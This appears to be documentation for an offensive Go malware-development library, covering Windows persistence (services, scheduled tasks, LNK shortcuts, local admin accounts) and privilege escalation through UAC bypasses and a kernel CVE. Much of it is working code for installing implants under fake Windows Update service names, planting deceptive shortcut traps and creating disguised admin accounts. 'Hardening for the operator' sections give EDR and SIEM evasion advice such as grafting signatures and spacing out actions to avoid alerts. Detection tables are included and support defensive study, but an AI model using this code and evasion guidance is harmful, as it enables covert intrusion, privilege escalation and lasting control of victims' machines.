- Audit cannot be skipped. Event 4698 fires at registration regardless of how the task is created.
- Trigger options trimmed. This package supports the
common triggers (logon, startup, daily, one-shot time).
Other COM triggers (idle, session lock/unlock, event-log
match) are not exposed — extend
optionsto add. - Startup/logon triggers require admin. Boot/startup tasks registered without admin are silently downgraded to "any user logon" or rejected.
- Hidden flag is cosmetic.
taskschd.mschides the task from default view; every other tooling surfaces it. - No principal override. Tasks run as the registered
user (or SYSTEM for startup/boot). Specifying a different
principal (
RunAs) requires the password and is out of scope for this package.
See also
persistence/service— sibling SYSTEM-scope persistence with stronger SCM telemetry.persistence/registry— sibling logon-only persistence with lighter audit.pe/masquerade— match binary identity to the cloned trigger lineage.cleanup— remove the task post-op.- Operator path.
- Detection eng path.
Windows service persistence
← persistence index · docs/index
TL;DR
Install a Windows service via the Service Control Manager so the
implant runs as LocalSystem at every boot. Highest-trust
persistence available; also the loudest — service creation emits
System Event 7045 + Security Event 4697 on every modern Windows
host. Implements persistence.Mechanism
for composition with other persistence primitives.
Primer
Services are the canonical Windows mechanism for "long-running process started by the OS, restarted on failure, runs as LocalSystem unless told otherwise". Once installed, the implant survives reboots, user logoffs, and most cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).
Trade-off: SCM database changes are universally audited. Mature
EDR stacks correlate Event 7045 against the binary path
(user-writable = bad), the signer (unsigned = bad), and the
service description (suspicious keywords). Pair with
pe/masquerade (svchost preset),
pe/cert, and a binary path
inside %SystemRoot%\System32\ for the lowest-noise install
operationally available.
How It Works
sequenceDiagram
participant Caller
participant SCM as "Service Control Manager"
participant DB as "services.exe DB"
participant Audit as "Event log"
Caller->>SCM: OpenSCManager(SC_MANAGER_CREATE_SERVICE)
Caller->>SCM: CreateService(name, binPath, type, startType)
SCM->>DB: write service entry
DB-->>Audit: System 7045 (service installed)
DB-->>Audit: Security 4697 (service installed)
Caller->>SCM: StartService (optional)
Note over SCM: services.exe spawns binPath as LocalSystem
The implementation uses golang.org/x/sys/windows/svc/mgr
under the hood — the standard svc.mgr package — to keep
the SCM interaction contract well-tested and conventional.
Mechanism.Install chains Install + (optionally)
StartService; Mechanism.Uninstall is StopService +
DeleteService with cleanup-pause semantics.
API Reference
type StartType uint32
| Value | Meaning |
|---|---|
StartAuto | SERVICE_AUTO_START — launched at boot, post-network init |
StartManual | SERVICE_DEMAND_START — operator triggers via sc start |
StartDisabled | SERVICE_DISABLED — registered but won't launch |
StartBoot | SERVICE_BOOT_START — kernel driver only (special case) |
StartSystem | SERVICE_SYSTEM_START — kernel driver only (special case) |
type Config
| Field | Description |
|---|---|
Name | Service short name (registry key under HKLM\SYSTEM\CurrentControlSet\Services) |
BinPath | Full path to the service executable |
DisplayName | UI-visible name (shown in services.msc) |
Description | Long description (shown in services.msc properties) |
StartType | One of the StartType constants |
Args | Command-line arguments appended to BinPath at launch |
Account | Optional service-account override. Empty → LocalSystem (default). Forms accepted: .\\<user> / <host>\\<user> (local), <DOMAIN>\\<user> (domain), NT AUTHORITY\\NetworkService / NT AUTHORITY\\LocalService (built-in low-priv). |
Password | Plaintext password for the account. Ignored for built-in NT AUTHORITY\\* principals. |
[!IMPORTANT] When
Accountis set to a normal local or domain user, the account MUST holdSeServiceLogonRight. UseGrantSeServiceLogonRight(account)to add the right viaLsaOpenPolicy+LsaAddAccountRightsbefore callingInstall. Idempotent — granting an already-held right is a no-op. Requires elevation (SeSecurityPrivilege).Equivalent operator workflows:
secedit /import …,ntrights -u <user> +r SeServiceLogonRight, or a Group Policy drop. Built-inNT AUTHORITY\NetworkService/LocalServicealready hold the right and need no password.
Functions
| Symbol | Description |
|---|---|
Install(cfg *Config) error | Standalone install — creates SCM entry, no start |
Uninstall(name string) error | Stop-if-running + delete |
Service(cfg *Config) *Mechanism | Mechanism adapter for use with persistence.InstallAll |
Exists(name string) bool | SCM probe |
IsRunning(name string) bool | QueryServiceStatusEx SERVICE_RUNNING |
Start(name string) error | StartService |
Stop(name string) error | ControlService SERVICE_CONTROL_STOP |
Examples
Simple — install + start
import "github.com/oioio-space/maldev/persistence/service"
err := service.Install(&service.Config{
Name: "WinUpdateNotifier",
DisplayName: "Windows Update Notification Center",
Description: "Provides update notifications.",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
})
if err != nil {
panic(err)
}
_ = service.Start("WinUpdateNotifier")
Composed — Mechanism + InstallAll redundancy
Pair with a Run-key fallback so loss of either mechanism does not lose persistence.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/service"
)
mechs := []persistence.Mechanism{
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
}),
registry.RunKey(registry.HiveLocalMachine, registry.KeyRun,
"WinUpdateBackup",
`C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
for _, e := range errs {
if e != nil {
// partial install — verify which fired
}
}
Advanced — masqueraded binary in System32
The full-stealth recipe: emit a binary that masquerades as a
real svchost service host, drop it under System32, install
under a plausible service name.
// At build time:
// import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
// go build -o svc-update.exe ./cmd/implant
// On target (assumes admin):
import (
"io"
"os"
"github.com/oioio-space/maldev/persistence/service"
)
const target = `C:\Windows\System32\svc-update.exe`
src, _ := os.Open("svc-update.exe")
dst, _ := os.Create(target)
_, _ = io.Copy(dst, src)
_ = src.Close()
_ = dst.Close()
_ = service.Install(&service.Config{
Name: "SvcUpdate",
DisplayName: "Service Update Helper",
Description: "Coordinates background service updates.",
BinPath: target,
StartType: service.StartAuto,
})
See ExampleService.
Advanced — service-account override
When LocalSystem is too noisy, pin the service to a built-in
low-priv principal (no password needed) or to a normal user
that already holds SeServiceLogonRight.
// 1. Built-in NT AUTHORITY\NetworkService — no password.
// Already holds SeServiceLogonRight.
_ = service.Install(&service.Config{
Name: "WinUpdateNetCheck",
DisplayName: "Windows Update Network Check",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
Account: `NT AUTHORITY\NetworkService`,
})
// 2. Domain account. Account MUST already hold
// SeServiceLogonRight (granted via secedit / GPO / LsaAddAccountRights).
_ = service.Install(&service.Config{
Name: "WinUpdateContext",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartManual,
Account: `CORP\svc-winupdate`,
Password: os.Getenv("MALDEV_SVC_PWD"),
})
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| System Event 7045 (service installed) | Universal; high-fidelity SIEM rule when correlated against unsigned binary or user-writable path |
| Security Event 4697 (service installed) | Audit log; same population as 7045 |
services.msc / sc query listing | Operator review; service description is the human-readable fingerprint |
autoruns.exe highlight | Sysinternals Autoruns flags unsigned services in red |
HKLM\SYSTEM\CurrentControlSet\Services\<Name> registry write | Sysmon Event 13 (registry value set); forensic timeline |
Service binary path under %TEMP%, %APPDATA%, %PROGRAMDATA% | Defender heuristic; legitimate services live under Program Files or System32 |
Service running as LocalSystem with outbound HTTPS to non-MS endpoint | Behavioural EDR — outbound profile mismatch with claimed identity |
Service with empty DisplayName / Description | Defender heuristic — legitimate services document themselves |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/masquerade/preset/svchostso the binary's PE metadata matches a real Microsoft service host. - Pair with
pe/cert.Copyto graft an Authenticode blob (passes presence checks). - Drop the binary under
%SystemRoot%\System32\(admin required) — services inProgram FilesorSystem32draw less default scrutiny than ones under%PROGRAMDATA%. - Populate
DisplayName+Descriptionwith text that matches the cloned identity. - Avoid this technique on hosts with strict service-creation audit (Microsoft LAPS-protected, enterprise SOC-monitored).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1543.003 | Create or Modify System Process: Windows Service | full | D3-PSA, D3-SICA |
Limitations
- Admin required. SCM
CreateServiceneedsSC_MANAGER_CREATE_SERVICEwhich is admin-gated. - Service binary contract. The launched binary must
implement the SCM control protocol (respond to
ServiceMainstart,SERVICE_CONTROL_STOPetc.) or it will be killed within ~30 s. Implants that don't implement the contract should run asStartManual+ a separate trigger, or wrap the implant binary with thegolang.org/x/sys/windows/svcrunner. - Service-account override is one-shot.
Config.Account+Config.Passwordpropagate through tomgr.CreateServiceso non-LocalSystem services install fine. Pair withGrantSeServiceLogonRight(account)for user-account services where the principal doesn't already hold the right. Built-inNT AUTHORITY\NetworkService/LocalServiceneed neither the grant nor a password. - Boot/System start types.
StartBoot/StartSystemare kernel-driver-only; userland binaries with these start types are rejected by SCM. - Pre-Vista compatibility. Some legacy options (interactive desktop, etc.) are not exposed.
See also
pe/masquerade— clone svchost identity for the service binary.pe/cert— graft Authenticode signature.persistence/registry— sibling lower-noise persistence to pair as a fallback.persistence/scheduler— sibling lower-noise SYSTEM-scope persistence.cleanup— remove the service post-op.- Operator path.
- Detection eng path.
LNK shortcut creation
← persistence index · docs/index
TL;DR
Create Windows .lnk shortcut files via COM/OLE automation.
Fluent builder with three sinks: Save(path) (disk via
WScript.Shell), BuildBytes() (raw bytes, zero-disk via
IShellLinkW + IPersistStream::Save on an HGLOBAL-backed
IStream), and WriteTo(io.Writer) (same zero-disk path,
streamed to any operator-controlled writer). Used as the
primitive for persistence/startup, and
standalone for T1204.002 user-execution traps (Desktop / Quick
Launch / Documents drops). Windows-only.
Primer
LNK files are the Windows shell's canonical "double-click to launch" artefact. They carry a target path, optional arguments, working directory, an icon resource, and a window-style hint. Windows Explorer renders them as their target's icon; the user sees a familiar app and clicks.
The COM/OLE path (WScript.Shell.CreateShortcut) is the same
surface PowerShell's WScript.Shell ComObject uses. It produces
a fully-formed shell link with no shellbag side-effects and no
shortcut-file footer Microsoft signs as part of the SmartScreen
Mark-of-the-Web pipeline — unlike a downloaded .lnk, this one
carries no MOTW.
How It Works
sequenceDiagram
participant Caller
participant COM as "STA apartment"
participant Shell as "WScript.Shell"
participant Link as "IWshShortcut"
Caller->>COM: CoInitializeEx STA
Caller->>Shell: CoCreateInstance WScript.Shell
Caller->>Shell: CreateShortcut path
Shell-->>Link: IWshShortcut dispatch
Caller->>Link: PutProperty TargetPath, Arguments, Icon, Style, Desc, WorkDir
Caller->>Link: Save
Link-->>Caller: lnk on disk
Caller->>COM: Release then CoUninitialize
The zero-disk path (BuildBytes and WriteTo) swaps the Shell
automation actors for a direct IShellLinkW + IPersistStream chain:
sequenceDiagram
participant Caller
participant COM as "STA apartment"
participant Link as "IShellLinkW"
participant PS as "IPersistStream"
participant Stream as "IStream on HGLOBAL"
Caller->>COM: CoInitializeEx STA
Caller->>Link: CoCreateInstance CLSID_ShellLink
Caller->>Link: SetPath, SetArguments, SetIconLocation, SetShowCmd, SetHotkey
Caller->>Link: QueryInterface IID_IPersistStream
Link-->>PS: IPersistStream pointer
Caller->>Stream: CreateStreamOnHGlobal NULL TRUE
Caller->>PS: Save Stream TRUE
PS-->>Stream: bytes written into HGLOBAL
Caller->>Stream: GetHGlobalFromStream and GlobalLock
Stream-->>Caller: byte slice
Caller->>Stream: Release
Caller->>PS: Release
Caller->>Link: Release
Caller->>COM: CoUninitialize
The builder runs runtime.LockOSThread because COM apartments
are per-thread. Every call to Save tears the apartment down so
the package leaves no apartment state behind. All COM resources
are released even on the error path.
For BuildBytes / WriteTo, the path swaps WScript.Shell for
a direct CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW),
configures the shortcut via raw vtable calls (SetPath,
SetArguments, SetWorkingDirectory, SetDescription,
SetIconLocation, SetShowCmd), then QueryInterface-s for
IPersistStream and calls Save(stream) against an IStream
created by CreateStreamOnHGlobal(NULL, fDeleteOnRelease=TRUE).
Bytes are extracted from the underlying HGLOBAL via
GetHGlobalFromStream / GlobalLock before the stream — and
thus the HGLOBAL — is released. No filesystem call is
made at any point.
API Reference
| Symbol | Description |
|---|---|
type Shortcut | Builder; chained setters return *Shortcut |
New() *Shortcut | Fresh builder |
(*Shortcut).SetTargetPath(string) | Required — the launched binary |
(*Shortcut).SetArguments(string) | Command-line passed to target |
(*Shortcut).SetWorkingDir(string) | CWD for the launched process |
(*Shortcut).SetDescription(string) | Tooltip text |
(*Shortcut).SetIconLocation(string) | Icon donor ("path,index" packing — "shell32.dll,3") |
(*Shortcut).SetHotkey(string) | Keyboard shortcut ("Ctrl+Alt+T") |
(*Shortcut).SetWindowStyle(WindowStyle) | StyleNormal / StyleMaximized / StyleMinimized |
(*Shortcut).Save(path string) error | Persist to path (disk, via WScript.Shell) |
(*Shortcut).BuildBytes() ([]byte, error) | Serialise to raw bytes — zero-disk (IShellLinkW + IPersistStream + HGLOBAL IStream) |
(*Shortcut).WriteTo(w io.Writer) (int64, error) | Same zero-disk path, streamed to any io.Writer |
(*Shortcut).WriteVia(creator stealthopen.Creator, path string) error | Build bytes in memory, then land them on disk via the operator-supplied stealthopen.Creator. nil falls back to os.Create |
type WindowStyle int
| Value | Manifest |
|---|---|
StyleNormal | 1 — default visible window |
StyleMaximized | 3 — full-screen |
StyleMinimized | 7 — minimised to taskbar (typical for stealthy auto-launch) |
Examples
Simple — Desktop launcher
import "github.com/oioio-space/maldev/persistence/lnk"
_ = lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
SetArguments("/c whoami").
SetWindowStyle(lnk.StyleMinimized).
Save(`C:\Users\Public\Desktop\link.lnk`)
Composed — donor icon + minimised
Use notepad.exe's icon and a benign description so Explorer
renders the shortcut indistinguishably from a real notepad
launcher.
_ = lnk.New().
SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
SetArguments("--update").
SetIconLocation(`C:\Windows\System32\notepad.exe,0`).
SetDescription("Notes").
SetWindowStyle(lnk.StyleMinimized).
Save(`C:\Users\Public\Desktop\Notes.lnk`)
Advanced — Quick Launch user-execution trap
Drop into Quick Launch where a freshly logged-on user is most likely to click without inspection.
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/persistence/lnk"
)
appData := os.Getenv("APPDATA")
qLaunch := filepath.Join(appData,
`Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar`)
_ = lnk.New().
SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
SetIconLocation(`C:\Windows\System32\mmc.exe,0`).
SetDescription("Computer Management").
SetWindowStyle(lnk.StyleNormal).
Save(filepath.Join(qLaunch, "Computer Management.lnk"))
Stealth landing — bytes through an operator-controlled Creator
WriteVia keeps the in-memory build (BuildBytes) and then routes
the final write through any
stealthopen.Creator — transactional
NTFS, encrypted-stream wrapper, alternate data stream, raw
NtCreateFile, etc. Same composition story as stealthopen.Opener
for read paths.
import (
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/persistence/lnk"
)
// Operator's anti-EDR write primitive (their package, their Open/Close).
var creator stealthopen.Creator = myEDRBypassCreator{}
_ = lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
SetWindowStyle(lnk.StyleMinimized).
WriteVia(creator, `C:\Users\Public\Desktop\Notes.lnk`)
// nil creator falls back to os.Create — drop-in replacement for Save:
_ = lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
WriteVia(nil, `C:\Users\Public\Desktop\Notes.lnk`)
Zero-disk — bytes for C2 staging
Build the LNK fully in memory via IShellLinkW +
IPersistStream::Save on an HGLOBAL-backed IStream. No file
is opened, created, or read on disk at any point — useful when
the operator wants to encrypt/transport/embed the artefact
through their own write primitive.
import (
"bytes"
"github.com/oioio-space/maldev/persistence/lnk"
)
raw, err := lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
SetArguments("/c whoami").
SetWindowStyle(lnk.StyleMinimized).
BuildBytes()
if err != nil {
return err
}
// `raw` is a fully-formed LNK byte stream, ready for embedding,
// encryption, or transport over a C2 channel.
// Or stream directly into any io.Writer (encrypted ADS, in-memory
// mount, custom anti-EDR Opener, …).
var buf bytes.Buffer
if _, err := lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
WriteTo(&buf); err != nil {
return err
}
See ExampleNew.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| LNK file written outside StartUp folders | Generally noise — every Office install creates LNKs |
| LNK file written inside StartUp folders | Path-scoped EDR rules (Defender, MDE) — high-fidelity |
| LNK file with mismatched icon vs target | Mature EDR cross-checks IconLocation PE vs TargetPath PE |
| LNK pointing at user-writable / temp paths | Defender heuristic — system shortcuts target System32, not %TEMP% |
WScript.Shell COM call from non-script process | ETW Microsoft-Windows-WMI-Activity / similar; rare in non-script processes |
| MOTW absence on a downloaded LNK | SmartScreen / Get-Item ... -Stream Zone.Identifier |
D3FEND counters:
- D3-FCA — LNK header structure analysis; well-known parser libraries flag suspicious target/icon mismatches.
- D3-UA — track user-execution chains.
Hardening for the operator:
- Match
IconLocationto a PE consistent with the displayed description. - For startup persistence, prefer
persistence/startupwhich wrapslnkwith the right paths. - Don't drop in
%TEMP%/%APPDATA%\Local\Temp— those paths draw default rules. - For user-execution traps, use a name + icon a real user would not double-take (Documents folder, with their actual recent-doc names).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1547.009 | Boot or Logon Autostart Execution: Shortcut Modification | full — LNK creation primitive | D3-FCA |
| T1204.002 | User Execution: Malicious File | partial — produces the LNK; user click is out-of-band | D3-UA |
Limitations
- Windows-only. No cross-platform stub — calls are guarded
by
//go:build windows. - COM apartment overhead.
runtime.LockOSThreadis held for the duration of every sink (Save,BuildBytes,WriteTo); high-frequency LNK creation paths benefit from batching builders behind a single COM init. - Zero-disk path is amd64-only in practice.
BuildBytes/WriteTouse raw COM vtable calls viasyscall.SyscallNand rely on the Windows x64 ABI — the calls compile underGOARCH=386but argument passing forIShellLinkWsetters has not been verified on 32-bit. Treat 64-bit Windows as the supported target. - Custom
LinkFlags/EXTRA_DATA_BLOCKs. Callers needing fields neitherIWshShortcutnorIShellLinkWexpose (custom flags, signed property store entries, console block tweaks) still need a separate parser / writer — neither sink reaches past those interfaces. - No LNK reading. This package writes only; reading existing LNKs requires a separate parser.
SaveandBuildBytesare NOT byte-identical.WScript.Shell.IWshShortcut.Save(path)auto-computesRELATIVE_PATHfrom itspathargument (used by the Windows shell as a fallback resolver if the absolute target moves).BuildBytesrunsIPersistStream::Saveagainst an in-memory IStream — nopathreference is available, so theHasRelativePathflag stays clear and the corresponding StringData block is omitted (~50–100 bytes shorter output). Operators that need byte-equivalence under forensic comparison must either useSaveor extend the builder with a typedSetRelativePathaccessor (backlog item). Verified byTestBuildBytes_DivergesFromSave_OnRelativePathagainst the Windows10 VM target (commitdde3f5c..).- MOTW absent. Locally-created LNKs carry no
Zone.IdentifierADS — useful for the operator, but a forensic tell when correlating LNKs against download history. - Hotkey parser scope. Both sinks honour
SetHotkey. TheBuildBytespath translates the WSH string ("Ctrl+Alt+T","Shift+F1","Alt+1") into the packedWORDform (HOTKEYF_* << 8 | VK_*) expected byIShellLinkW::SetHotkey. Recognised modifiers:Ctrl/Control,Alt,Shift,Ext. Recognised keys: A–Z, 0–9, F1–F24. Anything else (numpad, OEM, multimedia VKs) is silently dropped — extendparseHotkeyif needed.
See also
persistence/startup— primary consumer (StartUp-folder persistence).pe/masquerade— donor binary for matching VERSIONINFO / icon.cleanup— remove the LNK post-op.- Operator path.
- Detection eng path.
Local account creation
← persistence index · docs/index
TL;DR
Add, delete, modify, and enumerate Windows local user accounts
via NetAPI32 (NetUserAdd / NetUserDel / NetUserSetInfo /
NetLocalGroupAddMembers). The directory is named account;
the package is declared package user (matches the Win32 API
surface). Loudest persistence option in the tree — every action
emits Security event 4720 / 4722 / 4732 / 4724 by default.
Primer
Creating a local account gives the operator a credential that
survives reboots, password rotations on other accounts, and
implant removal. Adding the account to Administrators (the
SID-500 group) gives full local control. The trade-off is
volume: SAM events are universally audited and any half-decent
SIEM rule fires on a local-admin add from a non-IT context.
The package wraps the canonical Net* Win32 admin APIs — same
surface that net user, Computer Management MMC, and PowerShell's
New-LocalUser use. There is no stealthier API for local-account
manipulation; the loudness is inherent to the technique.
How It Works
sequenceDiagram
participant Op as "Operator"
participant API as "NetAPI32"
participant SAM as "Local SAM database"
participant Audit as "Security audit log"
Op->>API: NetUserAdd("svc-update", "P@ss…")
API->>SAM: USER_INFO_1 record
SAM-->>Audit: Event 4720 (account created)
SAM-->>Audit: Event 4722 (account enabled)
Op->>API: NetLocalGroupAddMembers("Administrators", "svc-update")
API->>SAM: alias-member entry
SAM-->>Audit: Event 4732 (user added to group)
Note over Audit: SIEM correlation: account creation + admin add<br>from non-IT lineage = high-fidelity alert
The package's Add posts a USER_INFO_1 (level 1: name +
password + privilege + home-dir + comment + flags +
script-path) so the account is created enabled and password-set
in a single call. SetAdmin is NetLocalGroupAddMembers against
the well-known Administrators alias.
API Reference
| Symbol | Description |
|---|---|
Add(name, password string) error | NetUserAdd USER_INFO_1 — creates + enables in one call |
Delete(name string) error | NetUserDel |
SetPassword(name, password string) error | NetUserSetInfo USER_INFO_1003 |
AddToGroup(name, group string) error | NetLocalGroupAddMembers |
RemoveFromGroup(name, group string) error | NetLocalGroupDelMembers |
SetAdmin(name string) error | AddToGroup(name, "Administrators") |
RevokeAdmin(name string) error | RemoveFromGroup(name, "Administrators") |
Exists(name string) bool | NetUserGetInfo probe |
List() ([]Info, error) | NetUserEnum walk |
IsAdmin() bool | Caller-side privilege check |
type Info struct carries name, full-name, comment, RID, flags,
last-login — surfaced by List and NetUserGetInfo.
Examples
Simple — add a service-looking account
import "github.com/oioio-space/maldev/persistence/account"
_ = user.Add("svc-update", "P@ssw0rd!2024")
defer user.Delete("svc-update")
Composed — add admin + group cleanup
if !user.IsAdmin() {
return fmt.Errorf("requires local admin")
}
_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")
// Tear down on uninstall
defer func() {
_ = user.RevokeAdmin("svc-update")
_ = user.Delete("svc-update")
}()
Advanced — pair with service persistence
Run the implant as the new account so the service uses its credential at every restart — credential persistence + autostart in one composite mechanism.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/account"
"github.com/oioio-space/maldev/persistence/service"
)
_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")
mechanisms := []persistence.Mechanism{
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
// The service runs as LocalSystem by default; specifying
// svc-update would route through SCM ChangeServiceConfig
// and require LogonAsAService.
}),
}
_ = persistence.InstallAll(mechanisms)
See ExampleAdd.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security 4720 (user created) | Universal audit; SIEM rule: 4720 from non-IT-OU = high-fidelity alert |
| Security 4722 (user enabled) | Pairs with 4720 in baseline rules |
| Security 4732 (member added to group) | Especially for Administrators / Backup Operators / Remote Desktop Users SIDs |
| Security 4724 (password reset by another account) | SetPassword on a non-self account |
NetUserAdd API call from a non-IT process | EDR API telemetry (Defender ATP, MDE) |
Net1.exe / dsadd.exe lineage absence | Direct API use bypasses child-process telemetry but emits the same audit events |
D3FEND counters:
Hardening for the operator:
- Pick a name that mimics service accounts (
svc-*,WindowsUpdate,defender-cu) — naive correlation against user-named accounts misses these. - Don't immediately add to Administrators on creation — split the actions across hours or use a Backup Operators / Remote Desktop Users membership instead, which raises lower-priority alerts.
- Pair with
cleanupto delete the account at op end — long-lived dormant accounts attract proactive review. - Avoid this technique entirely if the target has Just-In-Time admin (Microsoft LAPS, Azure PIM); event 4720 there is effectively a tripwire.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1136.001 | Create Account: Local Account | full | D3-LAM |
| T1098 | Account Manipulation | partial — group-membership add/remove via AddToGroup / SetAdmin | D3-UAP |
Limitations
- Admin required for most operations.
Add,Delete,SetAdmin,SetPassword(against another account) need local administrator.IsAdminlets the caller check before attempting. - Domain-joined hosts. Group Policy can disable local
account creation entirely (
DenyAddingLocalAccounts); the call returnsERROR_INVALID_PARAMETER. - Audit cannot be suppressed from user mode. SAM events fire pre-authorization; only kernel-level tampering (out-of-scope) silences them.
- No domain-account support. This package wraps
NetUserAddagainst the local SAM only. Domain accounts require LDAP /NetUserAddto a DC — separate concern.
See also
persistence/service— pair to run the implant under the new account.credentials— alternative credential acquisition with lower noise.privesc— pair to obtain admin for the initial Add.cleanup— remove the account at operation end.- Operator path.
- Detection eng path.
Privilege escalation (privesc/*)
The privesc/* package tree groups primitives that take a
non-elevated user token and produce SYSTEM-context execution.
flowchart TB
subgraph startState [Start state]
Medium["Medium-IL token<br>(typical user)"]
end
subgraph paths [Escalation paths]
UAC["uac/*<br>fodhelper / slui /<br>silentcleanup / eventvwr"]
CVE["cve202430088/*<br>kernel TOCTOU race"]
end
subgraph end [End state]
High["High-IL token (UAC)"]
SYSTEM["NT AUTHORITY\\SYSTEM<br>(token swap)"]
end
Medium -->|admin user, UAC default| UAC
UAC --> High
Medium -->|vulnerable build < 2024-06| CVE
CVE --> SYSTEM
Decision tree
| State / question | Path |
|---|---|
| "User is admin, UAC is default-notify, just need elevation." | privesc/uac — pick the bypass that survives the build |
| "Need SYSTEM, host build < June 2024 patch." | privesc/cve202430088 |
| "Already SYSTEM, need TrustedInstaller." | win/impersonate.RunAsTrustedInstaller |
| "Already admin, need elevation without UAC bypass." | win/privilege.ShellExecuteRunAs (visible UAC prompt) |
Per-package pages
- uac.md — four bypass primitives (FODHelper, SLUI, SilentCleanup, EventVwr) with build-window tables.
- cve202430088.md — CVE-2024-30088 kernel TOCTOU race with pre-flight version probe and BSOD-risk caveat.
Pre-flight pattern
import (
"github.com/oioio-space/maldev/win/version"
"github.com/oioio-space/maldev/win/privilege"
)
admin, elevated, _ := privilege.IsAdmin()
switch {
case elevated:
// already there
case admin && !elevated:
// UAC bypass
case !admin:
// CVE path or credential capture
}
if info, _ := version.CVE202430088(); info.Vulnerable {
// kernel race available
}
MITRE ATT&CK rollup
| ID | Technique | Owners |
|---|---|---|
| T1548.002 | Bypass User Account Control | privesc/uac |
| T1068 | Exploitation for Privilege Escalation | privesc/cve202430088 |
| T1134.001 | Token Impersonation/Theft | privesc/cve202430088 (token swap) |
See also
docs/techniques/tokens/— token-level primitivesdocs/techniques/win/version.md— pre-flight version + UBR probedocs/techniques/tokens/— Layer-1 token primitives that gate every privesc path
UAC bypasses
← privesc techniques · docs/index
TL;DR
Five primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt when the calling user is already in Administrators and UAC is at the "Default" level (the OS shipping default).
| Primitive | Hijack target | Surface | Build cut-off |
|---|---|---|---|
uac.FODHelper(path) | fodhelper.exe ms-settings\CurVer | HKCU registry | Win10 1709 → 24H2 (working as of 22H2 — vendors patch periodically) |
uac.SLUI(path) | slui.exe exefile shell\open | HKCU registry | Win7+ |
uac.SilentCleanup(path) | SilentCleanup task windir env | HKCU env | Win8+ |
uac.EventVwr(path) | eventvwr.exe mscfile shell\open | HKCU registry | Win7 → 17134 |
uac.EventVwrLogon(...) | EventVwr + alt-creds | HKCU registry + Secondary Logon | as EventVwr |
[!IMPORTANT] All five hijack auto-elevation behaviour, so they require:
- Caller already runs as a member of Administrators (UAC downgrades elevation under "Default" but does not exist when the user is not admin).
- UAC level is not "Always notify" — that level cannot be silenced.
Primer
UAC's "Default" mode auto-elevates a small set of trusted system
binaries (those with autoElevate=true in their manifest and
located under System32). When such a binary launches it inherits
the user's full admin token without prompting. If that binary then
reads a registry key or environment variable from HKCU (or
HKEY_CURRENT_USER evaluated under the original user's context)
and uses it as a command path, an attacker can pre-stage that
path to point at their payload.
Each technique exploits one such delegation:
- fodhelper.exe reads
HKCU\Software\Classes\ms-settings\Shell\Open\Commandbefore falling back to HKLM. - slui.exe reads
HKCU\Software\Classes\exefile\shell\open\command. - SilentCleanup task runs as elevated and resolves
%windir%from the per-user environment. - eventvwr.exe reads
HKCU\Software\Classes\mscfile\shell\open\command.
How it works
sequenceDiagram
participant Op as "Operator"
participant Reg as "HKCU registry"
participant Auto as "fodhelper.exe (auto-elev)"
participant Shell as "Shell\Open\Command"
Op->>Reg: write ms-settings\Shell\Open\Command = payload.exe
Op->>Auto: ShellExecute(fodhelper.exe)
Note over Auto: kernel grants High-IL token<br>(autoElevate=true + System32 + signed)
Auto->>Reg: read ms-settings\Shell\Open\Command
Reg-->>Auto: payload.exe
Auto->>Shell: CreateProcess(payload.exe)
Shell-->>Op: payload runs at High IL
Op->>Reg: cleanup hijack key (defer)
Common implementation skeleton (all 4 follow the same shape):
- Open / create the hijack key under
HKCU. - Set the default value to the operator's
path. - Possibly set
DelegateExecuteto empty (FODHelper-style). ShellExecuteWthe auto-elevating binary.- Wait briefly for the spawn (Sleep ~1s — the auto-elev binary is a fast-cleanup target).
- Delete the hijack key.
API Reference
func FODHelper(path string) error
func SLUI(path string) error
func SilentCleanup(path string) error
func EventVwr(path string) error
func EventVwrLogon(domain, user, password, path string) error
FODHelper(path) / SLUI(path) / SilentCleanup(path) / EventVwr(path)
Parameters:
path— full command line that runs at High IL. Use a quoted absolute path with arguments, e.g."C:\\Users\\Public\\impl.exe --once".
Returns: error — non-nil if the registry write fails or the
auto-elevating binary cannot be launched. Returns nil once the
hijack is registered and the binary is launched — the function does
not wait for the elevated child to exit.
Side effects:
- HKCU registry write under
Software\Classes\<scheme>\Shell\Open\Command(or task-env equivalent forSilentCleanup). - Spawn of
fodhelper.exe/slui.exe/taskeng.exe/eventvwr.exeparented to the calling implant. - Cleanup runs in a deferred goroutine — the registry key is left briefly visible during the spawn window.
OPSEC: noisy. Process-tree (fodhelper.exe → cmd.exe) is the
